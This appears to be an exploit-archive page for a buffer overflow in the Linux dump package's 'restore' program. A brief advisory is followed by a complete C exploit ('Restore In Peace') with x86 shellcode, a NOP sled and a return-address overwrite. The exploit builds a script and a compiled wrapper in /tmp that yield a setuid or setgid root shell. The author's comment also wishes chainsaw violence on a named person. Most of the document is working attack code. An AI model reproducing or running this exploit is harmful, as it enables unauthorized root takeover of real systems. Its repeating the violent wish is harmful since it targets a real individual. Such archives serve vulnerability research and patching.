source: http://www.securityfocus.com/bid/1330/info
A buffer overflow exists in the 'restore' program, part of the dump 0.4b15-1 package, distributed with RedHat Linux 6.2. By supplying a long string containing machine executable code at the prompt for a tape name, it is possible for an attacker to execute arbitrary code with root privileges.
The buffer overflow lies in the tape.c source file:
/dump-0.4b15/compat/include/protocols/dumprestore.h: line 53: #define TP_BSIZE 1024
/dump-0.4b15/restore/tape.c: line 311: char buf[TP_BSIZE];
/dump-0.4b15/restore/tape.c: line 357: (void) fgets(buf, BUFSIZ, terminal)
/dump-0.4b15/restore/tape.c: line 382: (void) fgets(buf, BUFSIZ, terminal);
As BUFSIZ is defined to be 8192, the fgets() will attempt to copy up to 8192 bytes in to a 1024 byte buffer.
/*
DO NOT DISTRIBUTE - DO NOT DISTRIBUTE - DO NOT DISTRIBUTE
Restore In Peace ?
Guess not, silly mistakes keep being made in the dump package time
and time again... Someone should give it an audit once
For once, NOT a L4m3rz stylish shellscript, but a pure C program that
does the same trick.
It's so messy that I have changed my mind about not writing shellscript
exploits and will go and write a L4m3rz stylish script next time :)
Use as: rip <type> [offset]
Where type is: 1) dump 0.3-14 on regular Linux boxes
2) dump 0.3-14 on Linux boxes with 2.2.X && X<16 kernel
3) dump-0.4b13 on regular Linux boxes
4) dump-0.4b13 on Linux boxes with the buggy kernel
A Linux box with a buggy kernel will yield root. In other cases we get
a setgid root.
Type (1) might function a bit buggy with bash 2 since we cannot setgid
to 0 when we're egid 0 - set SHAT to ash or zsh instead :(
I realized that type 2 also doesn't work perfectly with bash2 - use a
real shell for this exploit.
Good Riddance!
-- Scrippie
-- [email protected] - #phreak.nl - buffer0verfl0w security
Love goes out to: Hester, Maja, Renata
I hope the following person will ambushed by villains with chainsaws:
Gerrie Mansur
Shouts to: all my friends @ircnet and @IRL
DO NOT DISTRIBUTE - DO NOT DISTRIBUTE - DO NOT DISTRIBUTE
*/
#include <stdio.h>
#include <linux/capability.h>
#include <linux/unistd.h>
#include <sys/types.h>
#define NOP 0x90 /* Here I am again, I'm coming back for more */
#define RETA314 2052 /* Index number of the return address */
#define RETA4b13 2068
#define NUMNOPS 700 /* 700 usefull nops on the stack */
#define SHELLAT "/tmp/loki" /* Hail to thee, god of evil! */
#define SHAT "/bin/ash" /* And to thee, *nix utilities! */
#define CHOWNAT "/bin/chown"
#define CHMODAT "/bin/chmod"
#define GCCAT "/usr/bin/gcc" /* And to thee, GNU utilities! */
#define RESTAT "/sbin/restore" /* And to thee, buggy file! */
char hellcode[] =
"\x66\x31\xc0\x66\x31\xdb\xb0\x17\xcd\x80" /* Bash 2 evasion */
"\x66\x31\xc0\x66\x31\xdb\xb0\x2e\xcd\x80" /* Idem for gid */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/lk";
_syscall2(int, capset, cap_user_header_t, header, const cap_user_data_t, data)
extern int capset(cap_user_header_t header, cap_user_data_t data);
void banner(void);
void makeLKregular(void);
void makeLKbuggyKernel(void);
void makeCFILE(void);
unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}
main(int argc, char **argv)
{
FILE *evilRestore, lk;
char *overflow;
unsigned long addy;
int offset=0;
int retapos;
pid_t child;
int type;
if(argc<2) {
banner();
exit(-1);
}
if(argc == 3) offset = atoi(argv[2]);
switch(atoi(argv[1])) {
case 1:
printf("Assuming Dump package version: dump-0.3-14\n");
printf("Trying to grab SGID root shell...\n");
type = 1;
offset = 2500;
retapos = RETA314;
break;
case 2:
printf("Assuming Dump package version: dump-0.3-14\n");
printf("Trying to grab SUID root shell...\n");
type = 2;
offset = 2500;
retapos = RETA314;
break;
case 3:
printf("Assuming Dump package version: dump-0.4b13\n");
printf("Trying to grab SGID root shell...\n");
type = 1;
offset = 6000;
retapos = RETA4b13;
break;
case 4:
printf("Assuming Dump package version: dump-0.4b13\n");
printf("Trying to grab SUID root shell...\n");
type = 2;
offset = 6000;
retapos = RETA4b13;
break;
default:
printf("Unknown type - exiting\n");
exit(-1);
}
if(type == 2) {
struct __user_cap_header_struct caph={_LINUX_CAPABILITY_VERSION, 0};
struct __user_cap_data_struct capd={0, 0, 0xfffffe7f};
capset(&caph, &capd);
printf("Dropped the SETUID_CAP...\n");
}
addy = get_sp() - offset;
overflow = (char *) malloc(retapos+5);
memset(overflow, 0x90, retapos);
memcpy((overflow+NUMNOPS), hellcode, strlen(hellcode));
overflow[retapos] = addy & 0xff;
overflow[retapos+1] = (addy >> 8 & 0xff);
overflow[retapos+2] = (addy >> 16 & 0xff);
overflow[retapos+3] = (addy >> 24 & 0xff);
overflow[retapos+4] = 0x00;
evilRestore = fopen("/tmp/t", "w");
printf("Building C program wrapper...\n");
makeCFILE();
printf("Building ShellScript that will be called...\n");
if(type == 1) makeLKregular();
if(type == 2) makeLKbuggyKernel();
printf("Building overflow file...\n");
printf("Using address: %x\n", addy);
fprintf(evilRestore, "n\nn\nn\nn\n1\n");
fprintf(evilRestore, overflow);
fprintf(evilRestore, "\n1\nnone\n");
fflush(evilRestore);
fclose(evilRestore);
printf("Executing: %s\n", RESTAT);
sleep(3);
if((child = fork()) == 0) {
char blaat[200];
snprintf(blaat, 200, "%s -R < /tmp/t\n", RESTAT);
system(blaat);
unlink("/tmp/t");
unlink("/tmp/lk");
}
printf("\nIf everything worked out you can now run: %s\n", SHELLAT);
}
void makeLKregular(void)
{
FILE *lk;
char blaat[1000]; /* Phjear the allmighty mem-sucker! */
lk = fopen("/tmp/lk", "w");
snprintf(blaat, 1000, "#!%s\n%s .root %s\n%s 6755 %s\n",
SHAT, CHOWNAT, SHELLAT, CHMODAT, SHELLAT);
fprintf(lk, blaat);
fflush(lk);
fclose(lk);
umask(0);
chmod("/tmp/lk", 0755);
}
void makeLKbuggyKernel(void)
{
FILE *lk;
char blaat[1000]; /* Phjear the allmighty mem-sucker! */
lk = fopen("/tmp/lk", "w");
snprintf(blaat, 1000, "#!%s\n%s root.root %s\n%s 6755 %s\n",
SHAT, CHOWNAT, SHELLAT, CHMODAT, SHELLAT);
fprintf(lk, blaat);
fflush(lk);
fclose(lk);
umask(0);
chmod("/tmp/lk", 0755);
}
void makeCFILE(void)
{
FILE *loki;
pid_t child;
loki = fopen("/tmp/loki.c", "w");
fprintf(loki, "#include <stdio.h>\n\n");
fprintf(loki, "main()\n");
fprintf(loki, "{\n setuid(0);\n");
fprintf(loki, " setgid(0);\n");
fprintf(loki, " execl(\"");
fprintf(loki, SHAT);
fprintf(loki, "\", \"sh\", NULL);\n");
fprintf(loki, "}");
fflush(loki);
fclose(loki);
if((child = fork()) == 0) {
execl(GCCAT, "gcc", "/tmp/loki.c", "-o", SHELLAT, NULL);
}
wait();
unlink("/tmp/loki.c");
}
void banner(void)
{
printf("Restore In Peace ? - Scrippie/#phreak.nl/b0f\n");
printf("--------------------------------------------\n");
printf("Use as: rip <type> [offset]\n");
printf("Types - 1) dump-0.3-14 - Regular Linux\n");
printf(" - 2) dump-0.3-14 - Linux with buggy kernel :)\n");
printf(" - 3) dump-0.4b13 - Regular Linux\n");
printf(" - 4) dump-0.4b13 - Linux with buggy kernel :)\n");
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation